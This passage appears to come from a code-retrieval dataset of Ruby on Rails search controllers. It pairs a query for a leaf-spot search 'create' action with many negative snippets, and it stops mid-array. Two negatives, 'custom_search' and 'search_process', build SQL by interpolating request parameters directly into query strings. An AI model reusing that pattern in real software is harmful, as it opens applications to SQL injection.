query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
POST /leaf_spot_imm_searches POST /leaf_spot_imm_searches.json
|
def create
@leaf_spot_imm_search = LeafSpotImmSearch.new(leaf_spot_imm_search_params)
respond_to do |format|
if @leaf_spot_imm_search.save
format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully created.' }
format.json { render :show, status: :created, location: @leaf_spot_imm_search }
else
format.html { render :new }
format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @leaf_spot_imm_searches = LeafSpotImmSearch.all\n end",
"def leaf_spot_imm_search_params\n params.require(:leaf_spot_imm_search).permit(:search_id, :leaf_spot_imm_id)\n end",
"def set_leaf_spot_imm_search\n @leaf_spot_imm_search = LeafSpotImmSearch.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @leaf_spot_imm_search.update(leaf_spot_imm_search_params)\n format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully updated.' }\n format.json { render :show, status: :ok, location: @leaf_spot_imm_search }\n else\n format.html { render :edit }\n format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @search = WordRoot.ransack(params[:q])\n @word_roots = @search.result.paginate(:page => params[:page], per_page: 20)\n end",
"def search\n @search_keyword = params[\"search\"]\n @project_id = params[:project_id]\n @country = params[\"country\"]\n @age_from = params[\"age_from\"]\n @age_from = @age_from.to_i if !@age_from.blank?\n @age_to = params[\"age_to\"]\n @age_to = @age_to.to_i if !@age_to.blank?\n if !@age_from.blank? && !@age_to.blank? && @age_from > @age_to\n temp = @age_from\n @age_from = @age_to\n @age_to = temp\n end\n @gender = params[\"gender\"]\n @education = params[\"education\"]\n if !@search_keyword.blank?\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n @no_synonyms_found = false\n @search_keyword_model = Keyword.find_by_name(@search_keyword)\n if !@search_keyword_model.blank?\n @synonyms, @votes =\n @search_keyword_model.retrieve_synonyms(@country, @age_from, @age_to, @gender, @education)\n @no_synonyms_found = true if @synonyms.blank?\n @total_votes = 0\n @votes.each { |synonym_id, synonym_votes| @total_votes += synonym_votes }\n else\n redirect_to search_keywords_path(search: @search_keyword)\n end\n else\n redirect_to search_keywords_path\n end\n end",
"def create_saved_search(query)\n post(\"/saved_searches/create.json\", :query => query)\n end",
"def search\n \n search = params[:search]\n miniresume = params[:miniresume]\n location = params[:location]\n\n #thinking_sphinx conditions - \n @adviceposts = Advicepost.search(search,miniresume,location,page: 1, per_page: 25)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adviceposts }\n end\n end",
"def index\n search = Sunspot.new_search(Classification)\n query = params[:query].to_s.strip\n if query.present?\n @query = query.dup\n search.build do\n fulltext query\n end\n end\n unless params[:mode] == 'add'\n subject = @subject\n classification_type = @classification_type\n search.build do\n with(:subject_ids).equal_to subject.id if subject\n with(:classification_type_id).equal_to classification_type.id if classification_type\n end\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Classification.default_per_page)\n @classifications = search.execute!.results\n\n session[:params] = {} unless session[:params]\n session[:params][:classification] = params\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def search\n @hits = []\n\n if params[:query]\n search = DesignMethod.solr_search do\n fulltext params[:query] do\n highlight\n minimum_match 0\n end\n end\n store_location\n @hits = search.hits\n @results = search.results\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end",
"def prepare_suggested_searches\n @suggested_searches = [\n # { label_key: 'search_suggestion_whale_mass',\n # params: {\n # sort: 'desc',\n # min: 10000,\n # taxon_concept_id: 7649,\n # attribute: 'http://purl.obolibrary.org/obo/VT_0001259',\n # unit: 'http://purl.obolibrary.org/obo/UO_0000009' }},\n # { label_key: 'search_suggestion_cavity_nests',\n # params: {\n # q: 'cavity',\n # attribute: 'http://eol.org/schema/terms/NestType' }},\n { label_key: 'search_suggestion_diatom_shape',\n params: {\n attribute: 'http://purl.obolibrary.org/obo/OBA_0000052',\n taxon_concept_id: 3685 }} #,\n # { label_key: 'search_suggestion_blue_flowers',\n # params: {\n # q: 'http://purl.obolibrary.org/obo/PATO_0000318',\n # attribute: 'http://purl.obolibrary.org/obo/TO_0000537' }}\n ]\n end",
"def search_any_term\n render json: Article.with_any_terms(params[:query]).map(&:title)\n end",
"def search_all_terms\n render json: Article.with_all_terms(params[:query]).map(&:title)\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def do_search\n @search_text = params[:q]\n\n # Doctoring for the view to find matches:\n @q = @search_text\n @q.chop! if params[:q] =~ /\\*$/\n @q = @q[1..-1] if params[:q] =~ /^\\*/\n\n # TODO: we'll want some whitelist filtering here later:\n # params[:q] = \"#{@q}*\" unless params[:q] =~ /\\*$/ or params[:q] =~ /^[-+]/ or params[:q] =~ /\\s/\n params[:q] = I18n.transliterate(params[:q]).downcase\n\n # TODO: This search suggestions block is large; extract.\n\n # First step (and, yes, this will be slow—we will optimize later), look for\n # search suggestions that match the query:\n words = params[:q].split # TODO: we might want to remove words with ^-\n # TODO: we might also want to remove stopwords e.g.: https://github.com/brenes/stopwords-filter\n suggestions = []\n # YUCK! This is the best way to do this in Searchkick at the moment, though.\n # :S\n words.each do |word|\n word_search = SearchSuggestion.search(word, fields: [{ match: :exact }])\n suggestions += word_search.results if word_search.respond_to?(:results)\n end\n\n # If we only found one thing and they only asked for one thing:\n if suggestions.size == 1 && params[:q] !~ /\\s/\n Rails.logger.warn(\"One suggestion.\")\n # TODO: move this to a helper? It can't go on the model...\n suggestion = suggestions.first\n suggestion = suggestion.synonym_of if suggestion.synonym_of\n where = case suggestion.type\n when :page\n suggestion.page\n when :object_term\n term_records_path(uri: suggestion.object_term, object: true)\n when :path\n suggestion.path\n when :wkt_string\n flash[:notice] = \"Unimplemented, sorry.\"\n \"/\"\n end\n return redirect_to(where)\n elsif suggestions.size >= 2 && params[:q] =~ /\\s/\n Rails.logger.warn(\"Multiple suggestions.\")\n groups = suggestions.group_by(&:type)\n # Easier to handle:\n groups[:page] ||= []\n groups[:object_term] ||= []\n groups[:path] ||= []\n groups[:wkt_string] ||= []\n if groups[:page].size > 1\n Rails.logger.warn(\"Multiple PAGE suggestions.\")\n # We can't use suggestions if there's more than one species. Sorry.\n flash[:notice] = t(\"search.flash.more_than_one_species\",\n species: groups[:page].map(&:match).to_sentence)\n else\n Rails.logger.warn(\"0 or 1 Page suggestions.\")\n clade = groups[:page].try(:first).try(:page_id)\n Rails.logger.warn(\"Page suggestion: #{clade}\") if clade\n if groups[:object_term].size > 2\n Rails.logger.warn(\"Over two TERM suggestions.\")\n flash[:notice] = t(\"search.flash.more_than_two_terms\",\n terms: groups[:object_term].map(&:match).to_sentence)\n elsif groups[:path].size > 0\n Rails.logger.warn(\"...had PATH suggestions.\")\n flash[:notice] = t(\"search.flash.cannot_combine_paths\",\n path: groups[:path].map(&:match).to_sentence)\n else # NOTE: this assumes we only have OBJECT term suggestions, not predicates.\n Rails.logger.warn(\"Usable suggestions...\")\n (first, second) = groups[:object_term] # Arbitrary which is first...\n Rails.logger.warn(\"First term: #{first.object_term}\")\n Rails.logger.warn(\"Second term: #{second.object_term}\") if second\n return redirect_to(term_records_path(uri: first.object_term, object: true,\n and_object: second.try(:object_term), clade: clade))\n end\n end\n end\n\n @clade = if params[:clade]\n puts \"*\" * 100\n puts \"** Filtering by clade #{params[:clade]}\"\n # It doesn't make sense to filter some things by clade:\n params[:only] = if params[:only]\n Array(params[:only]) - [:collections, :users, :predicates, :object_terms]\n else\n [:pages, :media]\n end\n puts \"Only param should now be: #{params[:only]}\"\n Page.find(params[:clade])\n else\n nil\n end\n\n default = params.has_key?(:only)? false : true\n @types = {}\n [ :pages, :collections, :articles, :images, :videos, :videos, :sounds, :links, :users, :predicates, :object_terms ].\n each do |sym|\n @types[sym] = default\n end\n\n @types[params[:only].to_sym] = true if params.has_key?(:only)\n\n # if params.has_key?(:only)\n # Array(params[:only]).each { |type| @types[type.to_sym] = true }\n # elsif params.has_key?(:except)\n # Array(params[:except]).each { |type| @types[type.to_sym] = false }\n # end\n\n # NOTE: no search is performed unless the @types hash indicates a search for\n # that class is required:\n\n @pages = if @types[:pages]\n fields = %w[preferred_vernacular_strings^20 vernacular_strings^20 preferred_scientific_names^10 scientific_name^10 synonyms^10 providers resource_pks]\n match = words.size == 1 ? :text_start : :phrase\n basic_search(Page, boost_by: [:page_richness, :specificity, :depth], match: match, fields: fields,\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n includes: [:preferred_vernaculars, :medium, { native_node: { node_ancestors: :ancestor } }])\n else\n nil\n end\n\n\n @collections = if @types[:collections]\n basic_search(Collection, fields: [\"name^5\", \"description\"])\n else\n nil\n end\n\n @articles = if @types[:articles]\n basic_search(Searchkick,\n fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n index_name: [Article])\n else\n nil\n end\n\n @images = if @types[:images]\n media_search(\"image\")\n else\n nil\n end\n\n @videos = if @types[:videos]\n media_search(\"video\")\n else\n nil\n end\n\n @sounds = if @types[:sounds]\n media_search(\"sound\")\n else\n nil\n end\n\n # @links = if @types[:links]\n # basic_search(Searchkick,\n # fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n # where: @clade ? { ancestry_ids: @clade.id } : nil,\n # index_name: [Link])\n # else\n # nil\n # end\n\n @users = if @types[:users]\n basic_search(User, fields: [\"username^6\", \"name^4\", \"tag_line\", \"bio^2\"])\n else\n nil\n end\n\n Searchkick.multi_search([@pages, @articles, @images, @videos, @sounds, @collections, @users].compact)\n\n @pages = PageSearchDecorator.decorate_collection(@pages) if @pages\n @articles = ArticleSearchDecorator.decorate_collection(@articles) if @articles\n @images = ImageSearchDecorator.decorate_collection(@images) if @images\n @videos = VideoSearchDecorator.decorate_collection(@videos) if @videos\n @sounds = SoundSearchDecorator.decorate_collection(@sounds) if @sounds\n @collections = CollectionSearchDecorator.decorate_collection(@collections) if @collections\n @users = UserSearchDecorator.decorate_collection(@users) if @users\n\n # if @types[:predicates]\n # @predicates_count = TraitBank.count_predicate_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @predicates = Kaminari.paginate_array(\n # TraitBank.search_predicate_terms(@q, params[:page], params[:per_page]),\n # total_count: @predicates_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n #\n # if @types[:object_terms]\n # @object_terms_count = TraitBank.count_object_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @object_terms = Kaminari.paginate_array(\n # TraitBank.search_object_terms(@q, params[:page], params[:per_page]),\n # total_count: @object_terms_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n\n respond_to do |fmt|\n fmt.html do\n @page_title = t(:page_title_search, query: @q)\n end\n\n fmt.js { }\n\n # TODO: JSON results for other types! TODO: move; this is view logic...\n fmt.json do\n render json: JSON.pretty_generate(@pages.results.as_json(\n except: :native_node_id,\n methods: :scientific_name,\n include: {\n preferred_vernaculars: { only: [:string],\n include: { language: { only: :code } } },\n # NOTE I'm excluding a lot more for search than you would want for\n # the basic page json:\n top_media: { only: [ :id, :guid, :owner, :name ],\n methods: [:small_icon_url, :medium_icon_url],\n include: { provider: { only: [:id, :name] },\n license: { only: [:id, :name, :icon_url] } } }\n }\n ))\n end\n end\n end",
"def search \n\n end",
"def index\n # @search = Shelter.search do\n # fulltext params[:search]\n # end\n # @shelters = @search.results\n @shelters = Shelter.all\nend",
"def search\n\n @tasks = []\n \n PgSearch.multisearch(params['search-string']).where(:searchable_type => \"Task\").find_each do |document|\n @tasks << document.searchable\n end\n\n respond_to do |format|\n format.html { render action: \"index\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n \n end",
"def search_ranked\n render json: Article.with_ranked_terms(params[:query]).map(&:title)\n end",
"def index\n query = params[:query].to_s.strip\n search = Sunspot.new_search(Work)\n @count = {}\n unless query.blank?\n @query = query.dup\n query = query.gsub(' ', ' ')\n search.build do\n fulltext query\n end\n end\n\n set_role_query(current_user, search)\n\n unless params[:mode] == 'add'\n patron = @patron\n subject = @subject\n work = @work\n work_merge_list = @work_merge_list\n search.build do\n with(:patron_ids).equal_to patron.id if patron\n with(:subject_ids).equal_to subject.id if subject\n with(:original_work_ids).equal_to work.id if work\n with(:work_merge_list_ids).equal_to work_merge_list.id if work_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.find('Guest')\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Work.default_per_page)\n @works = search.execute!.results\n @count[:total] = @works.total_entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @works }\n format.atom\n end\n end",
"def search\n\n end",
"def get_results()\n restriction_nodes = []\n result_nodes = []\n if !(@inputs.nil? || @inputs.empty? || @inputs.first.empty?)\n input_set = @inputs.first\n restriction_nodes= input_set.nodes\n result_nodes = input_set.breadth_first_search(true){|node| node.item.text.downcase.include?(@keyword_phrase.to_s.downcase)} \n end\n \n if !@inplace\n results = @server.match_all(parse_keyword_phrase(), restriction_nodes) \n result_nodes = results.map{|item| Xplain::Node.new(item: item)}\n end\n \n result_nodes\n \n end",
"def official_search_params\n params.permit(:official_ids, :keyword)\n end",
"def search\n\n end",
"def test_searches\n\n Page.indexers[1].rebuild!\n # make sure that terms are hooked in\n assert SearchTerm.count > 0\n \n assert_equal 288, SearchTerm.count\n \n assert_kind_of SearchTerm, SearchTerm.find_by_term('brazil')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('casablanca')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('japanese')\n assert_kind_of SearchTerm, SearchTerm.find_by_term('commonterm')\n \n assert_kind_of ActiveSearch::TermIndexer, @page_term_indexer\n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"brazil\"))\n \"The first page should be found\"\n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"ministry\")),\n \"The first page should be found\"\n \n assert_equal Set.new( Page.find(:all) ), Set.new(@page_term_indexer.query('commonterm')),\n \"All pages should be found\" \n \n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"brazil ministry\")),\n \"Should search on intersection\" \n\n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"ministry commonterm\")),\n \"The first page should be found - the search is exclusive\"\n\n assert_equal Set.new( [Page.find(2)] ), Set.new(@page_term_indexer.query(\"japanese\")),\n \"Related paras should be included in the search\"\n\n assert_equal Set.new( [Page.find(1)] ), Set.new(@page_term_indexer.query(\"TARKHANOV\")),\n \"Related authors should be included in the search\" \n end",
"def index\n @query = params[:q] || '*:*'\n query = Jbuilder.encode do |json|\n json.filter do\n json.missing do\n json.field \"parent_id\"\n end\n end\n json.query do\n json.query_string do\n json.query @query\n end\n end\n json.sort do\n json.node \"asc\"\n end\n end\n @themata = Thema.__elasticsearch__.search(query).page(params[:page]).records\n end",
"def search_with_filters\n @search_keyword = params[\"search\"]\n @project_id = params[\"project_id\"]\n @developer_id = Developer.find_by_gamer_id(current_gamer.id).id\n @projects = Project.where(owner_id: @developer_id).all\n @country = params[\"country\"]\n @age_from = params[\"age_from\"]\n @age_from = @age_from.to_i if !@age_from.blank?\n @age_to = params[\"age_to\"]\n @age_to = @age_to.to_i if !@age_to.blank?\n @gender = params[\"gender\"]\n @education = params[\"education\"]\n @synonym_type = params[\"synonym_type\"]\n\n if !@age_from.blank? && !@age_to.blank? && @age_from.to_i > @age_to.to_i\n temp = @age_from\n @age_from = @age_to\n @age_to = temp\n end\n\n if @synonym_type == \"0\"\n @synonym_type = nil\n elsif @synonym_type == \"1\"\n @synonym_type = true\n elsif @synonym_type == \"2\"\n @synonym_type = false\n end\n\n if !@search_keyword.blank?\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n\n @search_keyword_model = Keyword.find_by_name(@search_keyword)\n if !@search_keyword_model.blank?\n \n if !current_developer.my_subscription\n .can_search_word(@search_keyword_model.id)\n \n flash[:error] = t(:search_not_allowed)\n redirect_to search_keywords_path, flash: flash\n return\n end\n\n @synonyms, @votes =\n @search_keyword_model.retrieve_synonyms(@country, @age_from, \n @age_to, @gender, @education, @synonym_type)\n\n @no_synonyms_found = true if @synonyms.blank?\n\n @total_votes = 0\n @votes.each { |synonym_id, synonym_votes| @total_votes += synonym_votes }\n\n @categories =\n @search_keyword_model.categories.map { |c| c.get_name_by_locale }\n\n @category_ids = @search_keyword_model.categories.map { |c| c.id }\n\n if !@no_synonyms_found\n @charts = @synonyms.map{ |s| { s.id => \n [piechart_gender(s.id, @gender, @country, @education, @age_from, @age_to), \n piechart_country(s.id, @gender, @country, @education, @age_from, @age_to),\n piechart_age(s.id, @gender, @country, @education, @age_from, @age_to), \n piechart_education(s.id, @gender, @country, @education, @age_from,@age_to)] } }\n end \n\n if request.xhr?\n render \"filtered_results.js\"\n end\n else\n redirect_to search_keywords_path(search: @search_keyword)\n end\n else\n redirect_to search_keywords_path\n end\n end",
"def index\n # @entries = Entry.all\n @search.sorts = ['term desc', 'created_at desc'] if @search.sorts.empty?\n @search_term = params[:q]\n @entries = @search\n .result(distinct: true)\n .includes(:definitions)\n .page(params[:page])\n .per(params[:per_page])\n\n\n 1\n end",
"def index\n authorize! :read, Recipe\n @query = params[:query]\n @search_result = Recipe.search do\n fulltext params[:query]\n if params[:course_type_ids].present?\n all_of do\n params[:course_type_ids].each do |filter|\n with(:course_type_ids, filter)\n end\n end\n end\n if params[:exclu_course_type_ids].present?\n all_of do\n params[:exclu_course_type_ids].each do |filter|\n without(:course_type_ids, filter)\n end\n end\n end\n if params[:difficulty].present?\n all_of do\n params[:difficulty].each do |filter|\n with(:difficulty, filter)\n end\n end\n end\n if params[:exclu_difficulty].present?\n all_of do\n params[:exclu_difficulty].each do |filter|\n without(:difficulty, filter)\n end\n end\n end\n if params[:cost].present?\n all_of do\n params[:cost].each do |filter|\n with(:cost, filter)\n end\n end\n end\n if params[:exclu_cost].present?\n all_of do\n params[:exclu_cost].each do |filter|\n without(:cost, filter)\n end\n end\n end\n if params[:category_ids].present?\n all_of do\n params[:category_ids].each do |filter|\n with(:category_ids, filter)\n end\n end\n end\n if params[:exclu_category_ids].present?\n all_of do\n params[:exclu_category_ids].each do |filter|\n without(:category_ids, filter)\n end\n end\n end\n if params[:main_ingredient_ids].present?\n all_of do\n params[:main_ingredient_ids].each do |filter|\n with(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:exclu_main_ingredient_ids].present?\n all_of do\n params[:exclu_main_ingredient_ids].each do |filter|\n without(:main_ingredient_ids, filter)\n end\n end\n end\n if params[:source_ids].present?\n all_of do\n params[:source_ids].each do |filter|\n with(:source_ids, filter)\n end\n end\n end\n if params[:exclu_source_ids].present?\n all_of do\n params[:exclu_source_ids].each do |filter|\n without(:source_ids, filter)\n end\n end\n end\n facet :course_type_ids\n facet :category_ids\n facet :main_ingredient_ids\n facet :source_ids\n facet :difficulty, :sort => :index\n facet :cost, :sort => :index\n paginate :page => params[:page] || 1, :per_page => 10\n order_by(:score, :desc)\n order_by(:created_at, :desc)\n end\n @query_params = params.except( :page )\n \n filters = [\n :course_type_ids, \n :exclu_course_type_ids, \n :difficulty, \n :exclu_difficulty, \n :cost, \n :exclu_cost, \n :category_ids, \n :exclu_category_ids, \n :main_ingredient_ids, \n :exclu_main_ingredient_ids, \n :source_ids, \n :exclu_source_ids\n ]\n filters.each do |filter|\n if params[filter].present?\n params[filter].map!{ |x| x.to_i }\n end\n end\n \n # @search_result.facet(:main_ingredient_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:course_type_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:category_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n # @search_result.facet(:source_ids).rows.sort!{|a,b| (a.count <=> b.count) == 0 ? (a.instance.name <=> b.instance.name) : (a.count <=> b.count)*(-1) }\n \n sort_alphabetical(@search_result.facet(:main_ingredient_ids).rows)\n sort_alphabetical(@search_result.facet(:course_type_ids).rows)\n sort_alphabetical(@search_result.facet(:category_ids).rows)\n sort_alphabetical(@search_result.facet(:source_ids).rows)\n end",
"def search\r\nend",
"def search\nend",
"def index\n if params[:search]\n @tutorials = Tutorial.search(params[:search]).order(\"created_at DESC\")\n else\n @tutorials = Tutorial.all.order('created_at DESC')\n end\n=begin\n #for sunspot\n @search = Tutorial.search do\n fulltext params[:search]\n end\n @tutorials = @search.results\n=end\n end",
"def keyword\n\n @search_text = params[\"search_text\"] ||= \"\"\n\n add_breadcrumb \"Keyword Search: '#{@search_text}'\"\n\n if @search_text.blank? or @search_text.length < 2\n @keyword_search_results = KeywordSearchIndex.where(\"1 = 2\")\n else\n\n # here we build the query one clause at a time based on the input params. The query\n # is of the form:\n #\n # where organization_id IN (?) AND (search_text LIKE ? OR search_text_like ? OR ... )\n\n where_clause = 'organization_id IN (?) AND ('\n values = []\n # The organization is scoped to search across all objects that are owned by\n # the user's list of organizations\n orgs = @organization_list.dup\n # add org = 0 to get objects that are not indexed by org and are by\n # contract available to users of all organizations\n orgs << 0\n values << orgs\n\n search_params = []\n @search_text.split(\",\").each_with_index do |search_string|\n search_params << 'search_text LIKE ?'\n values << \"%#{search_string.strip}%\"\n end\n\n where_clause << search_params.join(' OR ')\n where_clause << ')'\n\n @keyword_search_results = KeywordSearchIndex.where(where_clause, *values)\n\n end\n\n @num_rows = @keyword_search_results.count\n cache_list(@keyword_search_results, INDEX_KEY_LIST_VAR)\n\n respond_to do |format|\n format.html\n format.json {\n render :json => {\n :total => @num_rows,\n :rows => data\n }\n }\n end\n\n end",
"def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end",
"def create\n @custom_search_engine = CustomSearchEngine.new(params[:custom_search_engine])\n @custom_search_engine.author = current_user\n @custom_search_engine.status = 'draft'\n @custom_search_engine.annotations.each do |a|\n prefix = a.about.slice(/http(s)?:\\/\\//)\n a.about = prefix.nil? ? \"http://#{a.about}\" : \"#{a.about}\"\n end\n respond_to do |format|\n if @custom_search_engine.save\n add_cse_to_dashboard(@custom_search_engine)\n link_cse(@custom_search_engine)\n flash[:success] = I18n.t('human.success.create', \n item: I18n.t('human.text.cse'))\n format.html { redirect_to node_cse_path(@node, @custom_search_engine)}\n format.json { render json: @custom_search_engine, status: :created, \n location: @custom_search_engine }\n else\n format.html { render action: \"new\" }\n format.json { render json: @custom_search_engine.errors, \n status: :unprocessable_entity }\n end\n end\n end",
"def index\n @flagged_words = FlaggedWord.search(params[:search], params[:page], 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @flagged_words }\n end\n end",
"def place_search\n @places = []\n area = params[:area_id].blank? ? nil : Place.find(params[:area_id])\n if area.present? && area.area > 0\n search_text = Riddle::Query.escape(help.strip_links(params[:search]))\n results = Place.search(search_text, :field_weights => { :name => 10 })\n\n results.each do |place|\n @places << place if place.areas.include?(area)\n end\n end\n \n respond_to do |format|\n format.json\n end\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def custom_search(params_list)\n search_terms = params_list\n #print \"\\n\\n\\n***#{search_terms.size}***\\n\\n\\n\" ==> gives # of letters in the :query\n search_terms_array = search_terms.split(' ')\n \n ids = Array.new\n \n for word in search_terms_array\n word = word.singularize()\n isaColorWord = Color.find(:all, :conditions => [\"name = ?\", word])\n if isaColorWord.size > 0 #The size should only ever be 1\n ids.concat(Listing.connection.select_all(\"select distinct listings.id from listings\n inner join colors_listings on listings.id = colors_listings.listing_id\n where colors_listings.color_id = \\'\" + isaColorWord[0].id.to_s + \"\\'\").map{|i| i['id'].to_i})\n \n else\n p_word = '%' + word + '%'\n temp_ids = Listing.connection.select_all('select distinct listings.id \n from listings, fabrics, themes, patterns where \n listings.fabric_type = fabrics.id and \n listings.theme = themes.id and \n listings.pattern = patterns.id and \n concat(fabrics.fabric_type, \\'////\\', themes.name, \n \\'////\\', patterns.pattern_type, \\'////\\', listings.description) \n like \\'' + p_word + '\\'').map{|i| i['id'].to_i}\n if temp_ids.size > 0 \n ids.concat(temp_ids)\n else\n ids.concat(Listing.find(:all, :conditions => Listing.conditions_by_like(word)))\n end\n end\n \n end #for\n \n ids\n Listing.find(ids)\n #print \"\\n\\n\\n***293 #{ids.size}***\\n\\n\\n\"\n \n end",
"def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end",
